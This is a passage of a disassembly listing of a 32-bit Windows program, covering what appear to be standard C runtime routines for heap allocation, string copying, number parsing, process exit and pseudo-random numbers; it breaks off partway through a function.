		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		call	dword_427150	; RtlAllocateHeap


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: sub_401221+49Fp
					; sub_401221+4BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: sub_401221+306p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C164	proc near		; CODE XREF: sub_41E1D3+93p
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: sub_41C164+7j
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
sub_41C164	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C191	proc near		; CODE XREF: sub_41E1D3+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C191	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: .packed:0041E2C4p
					; sub_41E2C9+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: sub_41C191+8p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		call	dword_427104	; GetCurrentProcess
		push	eax
		call	dword_4270FC	; TerminateProcess


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		call	dword_42706C	; ExitProcess


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: sub_41C164+15p
					; sub_41C164+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: sub_401221+18Fp
					; sub_401221+295p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: sub_401221+45p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: sub_401221:loc_401379p
					; sub_401221:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: sub_401221+12Dp
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: sub_401221+11Ap
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: sub_401221+F7p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: sub_41E52A+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
